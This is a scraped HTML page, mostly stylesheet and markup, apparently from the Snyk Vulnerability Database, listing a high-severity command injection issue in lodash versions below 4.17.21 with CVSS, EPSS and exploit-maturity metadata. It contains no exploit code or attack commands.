svg{height:2.5rem;width:2.5rem;margin-right:0;margin-bottom:5px}}\n.vue--button-dropdown[data-v-13063395]{position:relative;display:inline}.vue--button-dropdown__btn[data-v-13063395]{padding:0 0 0 16px}.vue--button-dropdown__btn[data-v-13063395]:focus{padding:0 0 0 16px!important}.vue--button-dropdown__icon[data-v-13063395]{margin-left:12px;display:inline-block;transition:transform .2s linear;-ms-transition:none}.vue--button-dropdown__icon--rotated[data-v-13063395]{transform-origin:50% 55%;transform:rotate(-180deg)}.vue--button-dropdown__content[data-v-13063395]{position:absolute;display:flex;display:-ms-grid;box-shadow:inset 0 0 0 1px #d3d3d9,0 0 17px 6px rgba(0,0,0,.06);margin:8px 0 0;opacity:0;transition:all .2s ease;-ms-transition:none;z-index:999;pointer-events:none}.vue--button-dropdown__content.open[data-v-13063395]{opacity:1;pointer-events:auto}.vue--button-dropdown__content--focus[data-v-13063395]{box-shadow:inset 0 0 0 1px #4b45a1,0 0 17px 6px rgba(0,0,0,.06)}.vue--button-dropdown__content--right[data-v-13063395]{right:0;transform-origin:top right}.vue--button-dropdown__content--left[data-v-13063395]{left:0;transform-origin:top left}.vue--button-dropdown__content--center[data-v-13063395]{transform-origin:center;left:50%;transform:translate(-50%)}\n.markdown-section .heading[data-v-5c17117c]{font-size:.9375rem;line-height:1.5rem}.markdown-section .markdown-description[data-v-5c17117c]{margin:12px 0 32px;word-break:break-word}.markdown-section .markdown-description[data-v-5c17117c]  table{word-break:normal}.markdown-section .markdown-description[data-v-5c17117c]  h2,.markdown-section .markdown-description[data-v-5c17117c]  h3{font-weight:500;font-size:.9375rem;margin:32px 0 0}.markdown-section .markdown-description[data-v-5c17117c]  code{white-space:normal;overflow-x:auto}.markdown-section .markdown-description[data-v-5c17117c]  pre code{display:block;color:#fff;padding:12px}\n.vue--prose[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.3125rem;color:inherit}@media only screen and (min-width:45em){.vue--prose[data-v-6b6ff1c7]{font-size:.9375rem;line-height:1.5rem}}.vue--prose p[data-v-6b6ff1c7]{margin:12px 0}.vue--prose p[data-v-6b6ff1c7]:first-child{margin-top:0}.vue--prose p[data-v-6b6ff1c7]:last-child{margin-bottom:0}.vue--prose strong[data-v-6b6ff1c7]{font-weight:500}.vue--prose em[data-v-6b6ff1c7]{font-style:italic}.vue--prose ol[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:decimal;font-feature-settings:\"pnum\"}.vue--prose ol li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose ul[data-v-6b6ff1c7]{margin:0;padding:0 0 0 16px;list-style:disc;font-feature-settings:\"pnum\"}.vue--prose ul li[data-v-6b6ff1c7]{margin:8px 0}.vue--prose--lead[data-v-6b6ff1c7]{font-size:1.125rem;line-height:2rem}.vue--prose--small[data-v-6b6ff1c7]{font-size:.8125rem;line-height:1.25rem}\n.vue--markdown-to-html[data-v-185c2450]  h2{font-weight:500;font-size:1.25rem}.vue--markdown-to-html[data-v-185c2450]  table{border:1px solid #d3d3d9;border-radius:2px;margin-bottom:12px}.vue--markdown-to-html[data-v-185c2450]  td,.vue--markdown-to-html[data-v-185c2450]  th{border:1px solid #d3d3d9;padding:8px}.vue--markdown-to-html[data-v-185c2450]  th{font-weight:500;background-color:#f4f4f6}.vue--markdown-to-html[data-v-185c2450]  pre{overflow-x:auto}.vue--markdown-to-html[data-v-185c2450]  pre code{background-color:#393842}\n.site-footer[data-v-415ae652]{background-color:#120c68;color:#fff;min-height:140px;position:relative;padding-bottom:140px;padding-top:32px}.site-footer .site-footer__container[data-v-415ae652]{margin-bottom:32px}.site-footer .site-footer-bottom[data-v-415ae652]{align-items:center;display:flex;margin-top:48px}.site-footer .site-footer-bottom .subhead[data-v-415ae652]{color:#fff;font-size:13px;margin-left:32px}ul[data-v-415ae652]{list-style:none;padding:0}.nav__social[data-v-415ae652]{justify-self:center;grid-column-start:1;grid-column-end:5;text-align:center}.nav__social .nav__group__heading[data-v-415ae652]{color:#fff}.nav__social ul[data-v-415ae652]{margin-bottom:24px}.nav__social .list-social[data-v-415ae652]{display:flex;justify-content:center}.nav__social .list-social .list-social__link[data-v-415ae652]{color:#fff;fill:#fff;opacity:.5}.nav__social .list-social .list-social__link[data-v-415ae652]:hover{opacity:1}.nav__social .list-social .list-social__link[data-v-415ae652]  svg{height:1.875rem;width:1.875rem;margin-right:12px}.nav__social .list-social .list-social__link .npm-icon[data-v-415ae652]{height:24px;margin-top:3px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:auto;grid-template-rows:repeat(3,auto);grid-row-gap:16px}.nav__group[data-v-415ae652]{grid-column-start:1;grid-column-end:5}.nav__group .nav__group__heading[data-v-415ae652]{color:#fff}.nav__list[data-v-415ae652]{margin:0 32px 0 0}.nav__list .nav__list__item__link[data-v-415ae652],.nav__list .nav__list__item__link[data-v-415ae652]:hover{color:#fff;font-size:13px}.footer-banner[data-v-415ae652]{display:inline-block;width:210px;max-width:100%}.waves-wrapper[data-v-415ae652]{background-image:url(/_nuxt/img/footer-wave.102fbf5.svg);background-size:100% 100%;background-repeat:no-repeat;bottom:0;height:140px;left:0;overflow:hidden;pointer-events:none;position:absolute;right:0;width:100%;z-index:0}@media only screen and (min-width:26.25em){.nav__groups[data-v-415ae652]{grid-template-columns:repeat(4,1fr);grid-template-rows:auto auto}.nav__group[data-v-415ae652]{grid-column-start:unset;grid-column-end:unset}}@media only screen and (min-width:45em){.waves-wrapper[data-v-415ae652]{height:195px}.site-footer[data-v-415ae652]{padding-bottom:195px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:repeat(5,1fr);grid-template-rows:auto;grid-row-gap:0}.nav__social[data-v-415ae652]{justify-self:unset;grid-column-start:unset;grid-column-end:unset;text-align:left}.nav__social .list-social[data-v-415ae652]{justify-content:start}}\n.vue--all-caps[data-v-56a8aa57]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;display:block;font-size:.8125rem;line-height:1rem;letter-spacing:1.5px;text-transform:uppercase;color:#727184;font-feature-settings:\"pnum\"}.vue--all-caps--small[data-v-56a8aa57]{font-size:.75rem}</style>\n  </head>\n  <body >\n    <div data-server-rendered=\"true\" id=\"__nuxt\"><!----><div id=\"__layout\"><div class=\"page\" data-v-0fde60d6><header class=\"site-header\" data-v-be91f9d4 data-v-0fde60d6><div class=\"vue--layout-container site-header__container\" data-v-43af9ae8 data-v-be91f9d4><a href=\"/\" data-snyk-test=\"homepage-link\" class=\"vue--anchor title-link\" data-v-ce2707d6 data-v-be91f9d4><img src=\"/_nuxt/img/header-logo.aded646.svg\" alt=\"Homepage\" height=\"35\" width=\"272\" data-snyk-test=\"SiteHeader: logo\" data-v-ce2707d6 data-v-be91f9d4><!----><!----></a> <div tabindex=\"-1\" data-snyk-test=\"developer-tools-links\" class=\"vue--dropdown-menu dropdown-links vue--dropdown-menu--align-left\" data-v-64b0d6bd data-v-be91f9d4><div role=\"button\" data-snyk-text=\"BaseDropdownMenu: handle\" aria-haspopup=\"true\" tabindex=\"0\" aria-expanded=\"false\" class=\"vue--dropdown-menu__handle\" data-v-64b0d6bd>\n        Developer Tools\n        <svg width=\"12\" height=\"8\" viewBox=\"0 0 12 8\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" data-v-64b0d6bd data-v-be91f9d4><path d=\"M1.41 0.295044L6 4.87504L10.59 0.295044L12 1.70504L6 7.70504L0 1.70504L1.41 0.295044Z\" fill=\"#21214C\" data-v-64b0d6bd data-v-be91f9d4></path></svg></div> <div class=\"vue--dropdown-menu__menu\" data-v-64b0d6bd> <ul role=\"menu\" class=\"vue--dropdown-menu__menu--primary\" data-v-64b0d6bd> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://learn.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Learn\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/advisor/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Advisor\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snyk.io/code-checker/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Checker\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-be91f9d4><a rel=\"noopener\" href=\"https://snippets.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Snippets\n      <!----><!----></a></li></ul> <!----> </div></div> <a href=\"https://snyk.io\" data-snyk-test=\"about-link\" class=\"vue--anchor site-header__link\" data-v-ce2707d6 data-v-be91f9d4>\n      About Snyk\n    <!----><!----></a></div></header> <main data-v-0fde60d6><div data-v-085cdb9e data-v-0fde60d6><div class=\"vuln-page__heading-wrapper\" data-v-085cdb9e><div class=\"vue--layout-container breadcrumbs-with-search\" data-v-43af9ae8 data-v-c193da48 data-v-085cdb9e><div class=\"left\" data-v-43af9ae8 data-v-c193da48><nav data-snyk-test=\"vulnpage breadcrumbs\" class=\"vue--breadcrumbs\" data-v-4b4b4f2c data-v-c193da48><ol class=\"vue--breadcrumbs__list\" data-v-4b4b4f2c><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>Snyk Vulnerability Database</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln/npm\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>npm</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><span data-v-4b4b4f2c>lodash</span></li></ol></nav></div> <div class=\"right\" data-v-43af9ae8 data-v-c193da48><div data-v-4dbb44d0 data-v-c193da48><div class=\"vue--search-input\" data-v-e38673ba data-v-4dbb44d0><span aria-hidden=\"true\" aria-label=\"Magnify icon\" role=\"img\" class=\"material-design-icon magnify-icon vue--search-input__search-icon\" data-v-e38673ba data-v-e38673ba><svg fill=\"currentColor\" width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M9.5,3A6.5,6.5 0 0,1 16,9.5C16,11.11 15.41,12.59 14.44,13.73L14.71,14H15.5L20.5,19L19,20.5L14,15.5V14.71L13.73,14.44C12.59,15.41 11.11,16 9.5,16A6.5,6.5 0 0,1 3,9.5A6.5,6.5 0 0,1 9.5,3M9.5,5C7,5 5,7 5,9.5C5,12 7,14 9.5,14C12,14 14,12 14,9.5C14,7 12,5 9.5,5Z\"><!----></path></svg></span> <input type=\"search\" placeholder=\"Search by package name or CVE\" aria-label=\"Search by package name or CVE\" value=\"\" class=\"vue--search-input__field\" data-v-e38673ba> <!----></div> <!----></div></div></div> <div class=\"vue--layout-container grid-wrapper\" data-v-43af9ae8 data-v-085cdb9e><div class=\"left\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-page__heading\" data-v-43af9ae8 data-v-085cdb9e><h1 class=\"vue--heading title\" data-v-8dd2f746 data-v-085cdb9e>\n            Command Injection\n\n            <span data-snyk-test=\"vulnpage subtitle\" class=\"subheading\" data-v-8dd2f746 data-v-085cdb9e>\n              Affecting\n              <a href=\"/package/npm/lodash\" class=\"vue--anchor\" data-v-ce2707d6 data-v-085cdb9e>lodash<!----><!----></a>\n              package, versions\n              <strong data-snyk-test=\"vuln versions\" data-v-8dd2f746 data-v-085cdb9e>\n                &lt;4.17.21\n              </strong></span></h1> <!----></div></div></div> <hr class=\"severity-high\" data-v-085cdb9e></div> <div class=\"vue--layout-container vuln-page__body-wrapper grid-wrapper\" data-v-43af9ae8 data-v-085cdb9e><div data-snyk-test=\"vulnpage severity widget\" class=\"right severity-widget\" data-v-43af9ae8 data-v-085cdb9e><div class=\"severity-widget__wrapper severity-high big\" data-v-aa211cf8 data-v-085cdb9e><div class=\"severity-widget__badge big\" data-v-aa211cf8><div data-snyk-test=\"severity widget score\" data-snyk-test-score=\"7.2\" class=\"severity-widget__score severity-high big\" data-v-aa211cf8>\n      0.0\n    </div> <span data-snyk-ignore-wcag2aa=\"true\" data-snyk-test=\"vuln severity badge\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-aa211cf8><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n      high\n    </span> <!----></span></div> <svg width=\"100%\" height=\"100%\" viewBox=\"0 0 170 170\" class=\"progress\" data-v-aa211cf8><defs data-v-aa211cf8><linearGradient id=\"progress-colors-low1320666\" x1=\"66.3\" y1=\"28.475\" x2=\"-77\" y2=\"20\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#85869C\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#85869C\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-medium1320666\" x1=\"150.3\" y1=\"28.475\" x2=\"-20.975\" y2=\"22.95\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#E07E21\" data-v-aa211cf8></stop> <stop offset=\"0.661458\" stop-color=\"#E07E21\" stop-opacity=\"0.6\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#E07E21\" stop-opacity=\"0.4\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-high1320666\" x1=\"151.3\" y1=\"87.475\" x2=\"-19.975\" y2=\"81.95\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.447047\" stop-color=\"#D74B25\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#D74B25\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient> <linearGradient id=\"progress-colors-critical1320666\" x1=\"145.5\" y1=\"145\" x2=\"6.49999\" y2=\"57\" gradientUnits=\"userSpaceOnUse\" data-v-aa211cf8><stop offset=\"0.291667\" stop-color=\"#B71420\" data-v-aa211cf8></stop> <stop offset=\"1\" stop-color=\"#B71420\" stop-opacity=\"0.6\" data-v-aa211cf8></stop></linearGradient></defs> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"white\" stroke-dasharray=\"0\" stroke-dashoffset=\"400.5530633326986\" data-v-aa211cf8></circle> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"url(#progress-colors-high1320666)\" stroke-dasharray=\"400.5530633326986\" stroke-dashoffset=\"400.5530633326986\" data-v-aa211cf8><animate attributeType=\"XML\" attributeName=\"stroke-dashoffset\" from=\"400.5530633326986\" to=\"112.15485773315562\" dur=\"2000ms\" repeatCount=\"1\" fill=\"freeze\" data-v-aa211cf8></animate></circle></svg></div></div> <div class=\"right details-boxes\" data-v-43af9ae8 data-v-085cdb9e><div data-snyk-test=\"Cvss details\" class=\"cvss-details\" data-v-03a71328 data-v-085cdb9e><div data-snyk-test=\"vulnpage details box\" class=\"vue--block vue--card details-extra-padding vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-03a71328><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d><h3 class=\"vue--heading cvss-details__heading\" data-v-8dd2f746 data-v-03a71328>Snyk CVSS</h3> <!----> <ul data-v-3645d675 data-v-50201d1d> <div data-snyk-test=\"CvssDetailsItem: Attack Complexity\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Attack Complexity\n  </span> <span data-v-0807406b><strong data-v-0807406b>\n        Low\n      </strong> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Privileges Required\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Privileges Required\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        High\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Confidentiality\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Confidentiality\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        High\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Integrity\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Integrity\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        High\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Availability\" class=\"cvss-details-item\" data-v-0807406b data-v-03a71328><span data-v-0807406b>\n    Availability\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        High\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div></ul> <div class=\"data-list-items collapse\" data-v-3645d675 data-v-50201d1d><button type=\"button\" role=\"button\" data-snyk-test=\"DetailsBox: expand\" class=\"vue--button vue--button--link see-all\" data-v-94138f12 data-v-50201d1d>\n        See more\n      </button> <!----></div></div></div> <!----> <!----></div></div> <div data-snyk-test=\"threat intelligence\" class=\"threat-intelligence-detail\" data-v-29f81d0e data-v-085cdb9e><div data-snyk-test=\"card\" class=\"vue--block vue--card vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-29f81d0e><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d> <ul data-v-3645d675 data-v-50201d1d><h3 class=\"vue--heading threat-intelligence-detail__heading\" data-v-8dd2f746 data-v-29f81d0e>Threat Intelligence</h3> <!----> <div data-snyk-test=\"exploit-item\" class=\"cvss-details-item\" data-v-0807406b data-v-29f81d0e><span data-v-0807406b>\n    Exploit Maturity\n  </span> <span data-v-0807406b><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--medium-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-0807406b><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        Proof of concept\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-0807406b><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div> <div data-snyk-test=\"epss-item\" class=\"cvss-details-item\" data-v-0807406b data-v-29f81d0e><span data-v-0807406b>\n    EPSS\n  </span> <span data-v-0807406b><strong data-v-0807406b data-v-29f81d0e>\n        0.61% (76<sup data-v-0807406b data-v-29f81d0e>th</sup>\n        percentile)\n      </strong> <div class=\"vue--tooltip cvss-details-item__tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-29f81d0e><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div></ul> <!----></div></div> <!----> <!----></div></div> <div class=\"vendorcvss\" data-v-6c7e90d0 data-v-085cdb9e><div data-snyk-test=\"VendorCvssCard: CvssDetails\" tabindex=\"0\" class=\"vue--block vue--block-expandable vue--block-expandable--small vue--block-expandable--no-padding vue--block-expandable--default\" data-v-3645d675 data-v-b503da1a data-v-6c7e90d0><div class=\"vue--block-expandable__header\" data-v-3645d675 data-v-b503da1a><div class=\"vue--block-expandable__container\" data-v-3645d675 data-v-b503da1a><div class=\"vue--block-expandable__title\" data-v-3645d675 data-v-b503da1a><span aria-label=\"Expand this section\" role=\"img\" class=\"material-design-icon chevron-down-icon vue--block-expandable__chevron--collapsed vue--block-expandable__chevron\" data-v-3645d675 data-v-b503da1a><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M7.41,8.58L12,13.17L16.59,8.58L18,10L12,16L6,10L7.41,8.58Z\"><title>Expand this section</title></path></svg></span> <div class=\"vue--block-expandable__text\" data-v-3645d675 data-v-b503da1a><strong data-snyk-test=\"VendorCvssCard: assigner name\" data-v-3645d675 data-v-6c7e90d0>NVD</strong></div></div> <div class=\"vue--block-expandable__additional\" data-v-3645d675 data-v-b503da1a><span data-snyk-ignore-wcag2aa=\"true\" data-snyk-test=\"VendorCvssCard: Badge\" class=\"vue--badge vendorcvss__badge vue--badge--high-severity vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-6c7e90d0><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        7.2 high\n      </span> <!----></span></div></div></div> <!----></div></div><div class=\"vendorcvss\" data-v-6c7e90d0 data-v-085cdb9e><div data-snyk-test=\"VendorCvssCard: CvssDetails\" tabindex=\"0\" class=\"vue--block vue--block-expandable vue--block-expandable--small vue--block-expandable--no-padding vue--block-expandable--default\" data-v-3645d675 data-v-b503da1a data-v-6c7e90d0><div class=\"vue--block-expandable__header\" data-v-3645d675 data-v-b503da1a><div class=\"vue--block-expandable__container\" data-v-3645d675 data-v-b503da1a><div class=\"vue--block-expandable__title\" data-v-3645d675 data-v-b503da1a><span aria-label=\"Expand this section\" role=\"img\" class=\"material-design-icon chevron-down-icon vue--block-expandable__chevron--collapsed vue--block-expandable__chevron\" data-v-3645d675 data-v-b503da1a><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M7.41,8.58L12,13.17L16.59,8.58L18,10L12,16L6,10L7.41,8.58Z\"><title>Expand this section</title></path></svg></span> <div class=\"vue--block-expandable__text\" data-v-3645d675 data-v-b503da1a><strong data-snyk-test=\"VendorCvssCard: assigner name\" data-v-3645d675 data-v-6c7e90d0>Red Hat</strong></div></div> <div class=\"vue--block-expandable__additional\" data-v-3645d675 data-v-b503da1a><span data-snyk-ignore-wcag2aa=\"true\" data-snyk-test=\"VendorCvssCard: Badge\" class=\"vue--badge vendorcvss__badge vue--badge--high-severity vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-6c7e90d0><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        7.2 high\n      </span> <!----></span></div></div></div> <!----></div></div> <div data-snyk-test=\"register cta\" class=\"register-cta\" data-v-f20bb186 data-v-085cdb9e><div class=\"vue--block vue--block--instruction\" data-v-3645d675 data-v-f20bb186><div class=\"register-cta__body small\" data-v-3645d675 data-v-f20bb186><p class=\"heading\" data-v-3645d675 data-v-f20bb186>Do your applications use this vulnerable package?</p> <p data-v-3645d675 data-v-f20bb186>In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick 